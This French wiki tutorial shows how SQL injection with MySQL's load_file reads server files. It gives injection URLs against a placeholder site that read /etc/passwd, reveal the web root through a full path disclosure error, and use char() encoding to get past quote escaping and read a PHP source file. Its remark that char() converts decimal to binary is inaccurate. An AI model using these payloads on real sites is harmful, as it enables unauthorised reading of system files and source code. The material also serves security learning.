Une injection SQL peut nous permettre de lire un fichier, notamment à partir de la fonction load_file de MySql.

Soit un site :
www.owe/member.php?id=1

Si le site n'est pas parfaitement protéger, je peux réaliser une injection numérique dans l'url, mais je peux aussi lire un fichier. Par exemple si je veux lire le fichier /etc/passwd, il me suffirait de faire :
www.owe/member.php?id=1 UNION SELECT load_file('etc/passwd') FROM users #

Comment faire si je veux lire la page member.php sans connaitre son chemin absolue ? J'utilise le Full path discolure , cette faille est exécuté par injection des caractères inattendus dans certains paramètres d'un page web.

Si je rentre cette url :
www.owe/member.php?id[]=1

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /var/www/owe/member.php on line 67 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Du coup il me reste plus qu'à utiliser load_file sur ce nouveau chemin.

Mais comment faire si le site vulnérable échappe les quotes ? Vous ne pourrez plus utiliser la fonction load_file aussi simplement. Il faudra encoder les caractères avant, et ce grâce à la fonction char() de MySql qui convertit du décimal en binaire.

Ainsi si je veux afficher la page member.php sans utiliser de quotes, je peux faire :

www.owe/member.php?id=1 UNION SELECT load_file(char(47,118,97,114,47,119,119,119,47,111,119,101,47,109,101,109,98,101,114,46,112,104,112)) FROM users #

Et bingo, cela va me retourner la page member.php !

wiki/lecture.de.fichier.txt · Dernière modification: 2018/04/23 19:13 (modification externe)
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5